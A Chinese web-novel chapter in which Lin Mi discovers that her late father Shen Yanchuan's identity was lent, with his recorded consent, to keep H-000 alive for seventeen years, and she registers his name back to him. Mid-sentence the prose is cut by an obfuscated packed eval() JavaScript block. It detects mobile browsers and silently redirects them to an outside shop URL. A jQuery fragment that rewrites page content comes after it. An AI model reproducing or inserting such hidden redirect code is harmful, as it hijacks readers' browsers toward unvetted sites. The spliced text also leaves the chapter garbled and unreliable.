【因为东塔把他的名字，登记给了另一个人。】
林弥盯着这句话看了很久。
她没有立刻问“那个人是谁”，也没去猜那个死在黑雪日前的人和自己究竟是什么关系。L-07肯主动开口已经很难，她现在的表达仍靠极弱的意识响应一点点转成文字，刚才那几句话之间隔得越来越久，继续追着问，很可能什么都问不出来。
所以林弥先问了最实际的：“你允许我查这件事吗？”
过了十几秒，L-07回应。
【允许查名字转移。】
“能查你的身份吗？”
【不能。】
“行。”
“能查林知微和那个人的关系？”
这一次停得更久。
【可以。】
“能查他是不是我的遗传来源？”
【可以。】
林弥一项项问，L-07一项项答。最后她把授权范围发给第四执行体，只多了一句：“别顺着记录把L-07挖出来。”
阿留回复：【明白。】
私密通道关闭以后，林弥还坐在原处。温室城已经入夜，屋外的菌灯从窗沿照进来，小蘑菇不知道什么时候睡着了，伞盖歪在她脚边。岑昼坐在门口修一枚旧接口，没问她刚才看见了什么。
林弥抬头：“你不问？”
“你会说吗？”
“会。”
岑昼把手里的东西放下。
林弥把L-07刚才告诉她的内容原样转给他。说完，她自己先皱了皱眉：“我现在比较在意一件事。”
“名字为什么能转移。”
“对。”
一个人的姓名可以被删，可以被污染，可以被拿去当权限，这些他们都见过。可“登记给另一个人”不一样。名字不是衣服，系统里改一栏也不会让两个人真的变成同一个。
岑昼说：“可能转移的是身份。”
林弥点头：“我也这么想。”
如果是身份，就麻烦得多。
旧人类社会里，名字从来不只是一种称呼。医疗、通行、财产、工作、家庭关系，全挂在身份记录上。一个死人被抹掉死亡记录，再把身份交给另一个活人，意味着后者可以带着他的名字继续存在。
至于原来那个人——
会在系统里彻底消失。
第四执行体的检索比预计慢。旧东塔的人口库损坏严重，姓名转移本身又显然被刻意遮过。阿留先找到三份重复编号，再顺着编号摸到一条黑雪日前的紧急身份修复通道。
【用途：重要人员撤离期间身份替换。】
林弥看完说明：“原本是干什么的？”
H-000已经被拉进频道。他今天被迫补了一整天旧账，声音听着比昨天还累：“给需要隐匿的人换身份。战争后期很多研究人员被不同组织追踪，原身份不能继续使用，就从已经死亡、没有近亲属的身份库里临时调取一个。”
“死者同意吗？”
“早期要求生前授权。”
“后期呢？”
H-000不说话。
林弥懂了：“又把授权省了。”
“紧急时期。”
“你少说这四个字。”
“我只是在说明背景。”
“每次你们说紧急，后面都跟着一堆二十年收不完的账。”
H-000居然没反驳。
阿留继续恢复。
这条身份替换通道在黑雪日前已经使用过四百多次。大部分属于短期伪装，撤离完成后会恢复原身份。可其中有十九次没有恢复。
林弥父亲的名字，就在十九次里面。
她第一次在完整档案里看到那个名字。
【沈砚川。】
三个很普通的字。
没有雷声，也没有什么血缘认证突然跳出来。林弥只是看着。
看了好一会儿。
岑昼问：“要继续吗？”
“继续。”
阿留先做遗传信息核验。
旧档案里还保存着沈砚川的医疗样本，与林弥当前基因记录存在明确一级亲缘关系。M-12又独立复核一次，结果相同。
【生物学父系来源：高度支持。】
林弥靠在椅背上：“哦。”
岑昼看她。
“你这什么表情？”
“没有。”
“我又不会哭。”
“嗯。”
“你这个嗯听着很像觉得我会。”
“没有。”
林弥盯了他两秒，决定不跟他计较。
她重新看沈砚川的档案。
三十二岁，旧东塔外围工程组成员，负责能源与低温设施维护。他不是H系列研究者，也不在白门核心团队。林知微和他的关系记录很少，两人没有婚姻登记，只有共同居住记录和几次紧急联系人修改。
林弥看到这里：“没结婚？”
H-000：“没有。”
“为什么？”
“我不知道。”
“你不是认识林知微吗？”
“认识她不等于知道她所有私事。”
“难得你有边界感。”
“……”
归影塔又恢复出一张旧照片。
不属于实验档案。
更像某次维修后随手拍的。
林知微坐在一台拆开的温控机上，白大褂袖子卷到手肘，嘴里咬着一根没拆包装的营养棒。旁边男人蹲着修线路，只露出半张侧脸，手上全是黑灰。
照片背面有一行字。
【你再把实验室暖气弄坏，我就收维修费。——沈】
下面另一种笔迹回了一句：
【你先把上个月修坏的门赔了。——林】
林弥看了半天。
“他们俩谈恋爱就这样？”
H-000：“我说了我不知道。”
“看着不像特别浪漫。”
岑昼：“什么算浪漫？”
林弥转头：“你先别学这个。”
“为什么？”
“目前用不上。”
“以后可能用？”
“岑昼。”
“嗯。”
“闭嘴。”
“好。”
她把照片保存进私人档案。
没有放公共库。
后面的记录逐渐完整起来。
林知微怀孕后，沈砚川曾经连续三次申请调离东塔，都被拒绝。第四次，他申请的是林知微单独调离。
理由写得很简单：
【孕期不适合继续参与高风险接口工作。】
申请被林知微本人退回。
备注：
【我的工作我自己判断。】
林弥：“……”
她现在有点明白这两个人为什么没结婚了。
下一份是沈砚川回复：
【行。那至少别再夜班。】
林知微：
【你先别连续值三个维修班。】
再下一页，两个人都没做到。
林弥忍不住笑了一下。
笑完，才继续往后看。
沈砚川真正进入东塔核心记录，是林弥出生前五个月。
他在一次低温设备维修中发现，H-001编号被重新启用。
当时林知微还没有公开怀孕信息。
沈砚川顺着设备调用查到H系列新的生命维持需求，直接闯进伦理管理层，要求删除H-001预登记。
申请当然没通过。
他随后做了第二件事。
偷走了H-001最早的一份遗传适配报告。
“所以我的父系来源一直查不到。”林弥说。
H-000点头：“应该是他删了。”
“为什么不连林知微的一起删？”
“她的资料已经进入H系列旧库，删不干净。他的还没有。”
“他想让东塔以为我是匿名供体计划？”
“至少让系统无法确认完整血缘来源。”
这招没能阻止H-001计划，却拖慢了东塔对林弥的遗传建模。
三个月。
林弥看着那段时间。
三个月听起来不长，可就是那三个月里，林知微完成了第一版脱锚方案，也开始联系东塔外的新生群落。
沈砚川则负责另一件事。
给她找路。
旧维修通道、废弃能源井、地下低温管线，他一条条标出来，最后拼成一条从东塔到生态区的路线。
林弥心里一动。
“黑雪日那张图。”
岑昼也认出来了。
当年林知微交给第七执行体、让他带着婴儿林弥逃出去的手绘路线，并不完全是她画的。
底图来自沈砚川。
林弥把两张图叠在一起。
完全吻合。
只有最后一段进入生态区的路线，是林知微后来补的。
“他知道我要被送走？”
“知道。”H-000说。
“他见过我吗？”
这次查了很久。
没有照片。
没有探视记录。
林弥出生以后，沈砚川只进入过一次产后观察区，停留九分钟。那九分钟的影像被清除了。
“就一次？”
“能查到的一次。”
“九分钟。”
“嗯。”
林弥盯着那个数字，突然有点想笑：“他是不是挺忙？”
H-000没接。
因为所有人都知道，问题不在忙。
沈砚川当时已经被监控。
他偷遗传报告、改设备调用、画撤离路线，东塔不可能一直没发现。
林弥出生后第十二天，他被暂停工程权限。
第二十天，限制离开东塔。
第二十七天，死亡。
死亡原因：
【低温能源层事故。】
“事故记录。”
阿留调出。
损坏。
“维修记录。”
损坏。
“现场名单。”
损坏。
“遗体确认？”
没有。
林弥抬眼：“什么都没有？”
【存在死亡结论，无原始证明。】
“那L-07为什么说他死了？”
没人能回答。
林弥没有急着推翻死亡结论。L-07既然明确说沈砚川死了，她目前更愿意把“死亡”当作已知事实。真正有问题的是死后发生了什么。
阿留继续往下。
沈砚川死亡三小时后，他的身份状态从【死亡待确认】被改回【存活】。
七小时后，身份绑定设备更换。
十小时后，生物识别模板被覆盖。
第二天早上，一个人使用“沈砚川”的身份离开东塔。
林弥盯着那条记录。
“去哪？”
【北侧低温保存中心。】
所有人的视线几乎同时转向H-000。
北侧。
低温保存。
正是H-000现在躺着的地方。
H-000的脸色也变了：“不是我。”
林弥没说是他：“查。”
身份使用记录继续恢复。
那个“沈砚川”进入低温中心后，没有离开记录。
此后十七年，身份一直保持活动状态。
医疗资源调用。
能源配额。
休眠舱维护。
意识接口占用。
所有项目都挂在沈砚川名下。
林弥慢慢坐直。
“零号。”
H-000已经在查自己的休眠舱。
几秒后，他的表情彻底僵住。
【当前低温维持账户：沈砚川。】
温室城里静得连小蘑菇翻身的声音都听得见。
林弥看着H-000。
H-000也看着那三个字。
“我不知道。”
这一次，他说得很慢。
“我一直以为维持账户是匿名资源池。”
“你没有查过？”
“低温状态下我看不到底层结算身份。醒来以后也没必要查。”
“所以有人拿一个死人的身份养了你十七年。”
“对。”
“谁改的？”
“正在查。”
第一执行体忽然接入。
【不止维持账户。】
它把H-000当前身份结构全部拆开。
H-000这个编号只能用于实验与白门系统，无法作为旧人类社会身份存在。黑雪日后，旧人口系统仍运行过很长时间，北侧低温中心需要一个合法的活人身份才能持续领取能源、医疗和维护资源。
于是有人给H-000套了一层身份。
沈砚川。
不是名字写在他脸上。
不是所有人都叫他沈砚川。
可在旧系统眼里，过去十七年，H-000一直是沈砚川。
林弥忽然明白L-07为什么说“名字登记给了另一个人”。
“能撤吗？”
H-000说：“现在可以。”
“那撤。”
“等等。”
第一执行体阻止了操作。
【存在关联风险。】
“什么风险？”
【沈砚川身份当前绑定北侧低温中心总能源节点。直接注销可能导致休眠区断电。】
林弥闭上眼。
她就知道。
旧人类特别擅长把不该绑在一起的东西绑到死。
“先迁能源权限。”
交汇带接入：“可以迁。”
“多久？”
“两个小时。”
“迁。”
H-000却没有立刻同意。
林弥看他：“怎么？”
“还有一件事。”
“说。”
“如果沈砚川身份承担的不只是能源账户呢？”
“什么意思？”
H-000把自己意识结构最外层打开。
那里面有一层他们以前一直认为属于低温中心的身份保护协议。因为不涉及意识核心，之前没人仔细查过。
现在把它和沈砚川的身份记录对上以后，完全一致。
【紧急身份保护。】
【身份主体死亡后，允许合法替换者继承其通行、医疗、能源与撤离资格。】
林弥看完：“所以你是合法替换者？”
“系统意义上，是。”
“谁批准的？”
阿留正在恢复。
审批人被删过三次。
第一次恢复，只出来一个姓。
【林。】
林弥心口一跳。
第二次恢复。
【林知——】
H-000突然说：“停。”
林弥看他。
“为什么？”
“先确认。”
“确认什么？”
H-000的声音有些哑：“如果是她，你准备怎么办？”
林弥莫名其妙：“什么怎么办？”
“林知微可能把沈砚川的身份给了我。”
“所以？”
“那是你父亲的名字。”
“我知道。”
“她用他的身份保了我。”
“我也看见了。”
H-000盯着她，像是在等愤怒。
林弥反而皱眉：“你为什么一副准备挨骂的样子？”
“因为——”
“名字是他的吗？”
“是。”
“那该问他愿不愿意。”
“他死了。”
“有生前记录就查记录。没有就登记无法确认。林知微有没有权替他给，你有没有权继续用，这是两件事。”
H-000没说话。
“跟我是他女儿有什么关系？”
“你不觉得被拿走了？”
林弥愣了一下。
她终于听懂H-000在问什么。
父亲的名字。
被另一个人用了十七年。
按很多旧故事的写法，她现在应该觉得某种东西被抢走了。
可林弥认真想了想。
“没有。”
“为什么？”
“我今天才第一次知道他叫什么。”
她低头看那张旧照片。
照片里，沈砚川蹲在坏掉的温控机旁边，手上都是灰。林知微坐在旁边，拿他的维修费开玩笑。
“我跟他的关系又不靠这三个字证明。”
H-000很久没说话。
林弥继续：“而且你也没把自己当沈砚川。”
“没有。”
“那就查谁给你的。该还的还，该留档的留档。”
“如果身份一撤，我的低温结构可能要重新登记。”
“那就登记H-000。”
“那是实验编号。”
林弥看他：“你没有名字？”
H-000怔住。
这一下是真怔住。
林弥也愣了：“你不会真没有吧？”
公共频道突然陷入一种非常诡异的安静。
岑昼抬眼。
M-12停止了数据滚动。
连第一执行体都没说话。
林弥慢慢坐直：“零号。”
“嗯。”
“你原来的名字呢？”
“删除了。”
“为什么？”
“进入H系列以后，我自己删的。”
“后来没取？”
“没有必要。”
“你刚才还在教别人名字不能乱动。”
“那是别人的。”
“你自己就可以一直顶着编号？”
“习惯了。”
林弥一时不知道从哪里骂起。
H-000似乎预判到她要说什么：“现在不是讨论这个的时候。”
“现在非常是。”
“先处理沈砚川身份。”
“迁权限要两个小时，正好。”
“林弥。”
“你别叫我。”
岑昼忽然开口：“她会一直问。”
H-000看他。
“我知道。”
“回答比较快。”
林弥转头：“你怎么突然站我这边？”
“经验。”
“……”
H-000闭了闭眼。
“我以前有名字。”
“什么？”
“不想用。”
“行，那不问。”
林弥答应得太快，他反而睁眼看她。
“你不追问？”
“你都说不想用了，我追什么。”
“那你刚才——”
“我问你现在有没有。”
“没有。”
“想不想要？”
H-000沉默。
林弥等着。
这一次没有系统替他判断“沉默等于拒绝”，也没人帮他选。
过了很久，他说：“暂时不知道。”
“那就先零号。”
“嗯。”
“什么时候想取自己取。”
“嗯。”
林弥忽然觉得有点好笑：“你教H-032的时候别让人家知道老师连名字都没想好。”
“我不是他老师。”
白门底层那个男人立刻发来：
【他确实不是。】
H-000：“你能不能继续处理自己的权限？”
【正在处理。】
“那少插话。”
【可以。】
“……”
林弥彻底笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872968|208926||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。
两个小时后，北侧低温中心的能源权限迁移完成。
沈砚川这个身份终于从H-000的休眠舱上解除。
没有断电。
没有警报。
H-000仍然活着。
第一执行体把身份替换历史完整保留，当前使用状态改为：
【终止。】
随后，阿留恢复出了审批人的全名。
不是林知微。
【林知衡。】
林弥盯着这个陌生名字。
“谁？”
H-000脸上的表情变了。
比发现自己用了沈砚川身份十七年时还明显。
“林知微的哥哥。”
林弥愣住。
“她有哥哥？”
“有。”
“我怎么从来没见过记录？”
“因为他在黑雪日前十年就被除名了。”
“为什么？”
H-000没有回答。
白门底层那个男人却发来一句：
【因为他是最早公开反对H系列的人之一。】
阿留继续恢复审批记录。
林知衡当年批准身份替换时，附加过一个条件：
【仅用于H-000撤离及维生。】
【不得继承沈砚川姓名。】
【不得继承家庭关系。】
【不得继承财产与社会履历。】
【原身份死亡事实必须单独保存。】
林弥看到这里，稍微松了口气。
至少当年有人知道，借身份和变成另一个人不是一回事。
可记录还有最后一行。
【身份提供者本人授权：已取得。】
林弥猛地抬头。
“什么？”
H-000也愣住。
沈砚川死亡后才启用身份替换。
可审批记录却明确写着：
本人授权已取得。
“他生前同意过？”
阿留开始找授权文件。
没有。
原件被单独转移。
去向只有一个编号。
【L-07。】
林弥的心一下沉了下去。
又是她。
第四执行体没有擅自打开L-07通道，只发去询问：
【是否愿意提供沈砚川身份授权相关信息？】
等了很久。
L-07没有回应。
林弥以为她不愿意。
正准备让阿留停止询问，独立曲线忽然跳了一格。
随后是文字。
【可以。】
一份保存了十七年的语音记录被放出来。
男人的声音。
有些沙哑，背景一直响着低温层的报警。
林弥第一次听见沈砚川说话。
“如果我出不去，把我的通行身份给零号。”
旁边有人问：“姓名呢？”
“别给。”
“医疗权限？”
“给。”
“能源？”
“给。”
“家庭关系？”
“不给。”
那人又问：“为什么是零号？”
沈砚川那边安静了几秒。
“他得活着。”
“理由。”
“我女儿出去以后，东塔会追。”
林弥的手指一下攥紧。
沈砚川继续说：
“第七能带她走。”
“零号留在里面，才能让他们以为门还有别的办法。”
“如果零号死了，他们会把所有东西重新压到H-001身上。”
背景警报越来越响。
有人催他撤离。
沈砚川最后只说了一句：
“名字别给他。”
“我想让她以后还能查到我。”
录音结束。
林弥坐在那里。
很久都没动。
岑昼没有叫她。
小蘑菇醒了，迷迷糊糊爬到她腿边，也没出声。
H-000看着那份已经解除的身份绑定，脸色一点点白下去。
“我不知道。”
林弥吸了下鼻子。
“嗯。”
“我不知道他是为了——”
“我知道。”
“林弥。”
“你别现在道歉。”
H-000停住。
林弥抬手擦了一下眼睛。
“又不是你偷的。”
她重新点开那张旧照片。
沈砚川还是蹲在那里修暖气。
一个她从来没见过、只抱过她九分钟的人。
没有留下遗言给她。
也没有说什么“爸爸爱你”。
他只是把自己还能用的东西一项项拆开。
通行可以给。
医疗可以给。
能源可以给。
名字不行。
因为他想让女儿以后还能查到他。
林弥看着那三个字。
沈砚川。
“失名处。”
戴眼镜的影子立刻出现：“在。”
“给他登记。”
“登记什么？”
林弥想了一会儿。
“死亡。”
影子提笔。
“姓名，沈砚川。”
“死亡时间按现有证据暂定，原因待查。”
“身份曾被借用十七年，借用范围有本人授权。”
“姓名没有转让。”
“家庭关系没有转让。”
影子一条条写。
最后问：“与林弥关系是否登记？”
林弥看着照片。
“登记。”
“什么关系？”
“父亲。”
笔尖落下。
那一刻，没有任何权限亮起来。
没有血缘继承。
没有文明授权。
也没有谁因此获得新的身份。
失名处只是多了一份迟到十七年的记录。
【沈砚川。】
【已死亡。】
【姓名归还本人。】
【与林弥关系：父女。】
林弥看了一会儿。
“行了。”
她关掉档案。
岑昼问：“不继续查死亡原因？”
“查。”
林弥站起来，活动了一下坐麻的腿。
“但今天先到这。”
“为什么？”
“我饿了。”
小蘑菇立刻精神：“我也饿。”
“你刚睡醒。”
“睡觉会饿。”
“谁教你的？”
“你。”
“……”
林弥决定不追究。
她走到门口时，L-07又发来一条消息。
只有四个字。
【他见过你。】
林弥停下。
下一段，是一份九分钟探视记录。
没有影像。
只有音频。
婴儿哭得很响。
男人明显不会抱，旁边林知微一直在嫌弃：
“头。”
“我托着呢。”
“你手别那么僵。”
“她太小了。”
“你刚才不是说会抱？”
“我以为会。”
婴儿哭得更凶。
沈砚川慌得声音都变了：“她是不是不喜欢我？”
林知微：“她二十天，能认识你是谁？”
“那她为什么一直哭？”
“因为你抱得烂。”
“你来。”
“我刚做完检查。”
“那怎么办？”
“自己学。”
后面折腾了好一会儿。
哭声终于小了。
男人的呼吸也跟着松下来。
“她睁眼了。”
“嗯。”
“是不是看我？”
“她这个距离看不清。”
“你能不能别什么都讲科学？”
林知微笑了。
录音最后，沈砚川很轻地叫了一声：
“弥弥。”
没有H-001。
没有样本。
只有弥弥。
婴儿没理他。
大概睡着了。
林弥站在门口听完，低头揉了一把小蘑菇的伞盖。
“走。”
“吃饭？”
“嗯。”
“吃什么？”
“随便。”
“没有叫随便的菜。”
“那你选。”
一人一蘑菇往温室城里走。
岑昼落后半步。
走到一半，林弥忽然回头。
“岑昼。”
“嗯。”
“名字确实挺有用。”
他看着她。
“怎么？”
林弥把手插进外套口袋。
“至少想找一个人的时候，知道该找谁。”
岑昼点头。
“嗯。”
他们继续往前走。
而在北侧低温中心，H-000独自看着已经空出来的身份栏。
【当前身份：H-000。】
这一次，没有别人的名字挡在上面。
他看了很久。
正准备关闭页面，底下忽然多出一项刚刚恢复的旧记录。
【沈砚川身份借用期限：至H-000获得独立合法身份为止。】
【附加条件：若H-000拒绝继续使用编号，应允许其自行命名。】
H-000的手停住。
后面还有沈砚川留下的一句备注。
只有一句。
【活下来以后叫什么，让他自己想。】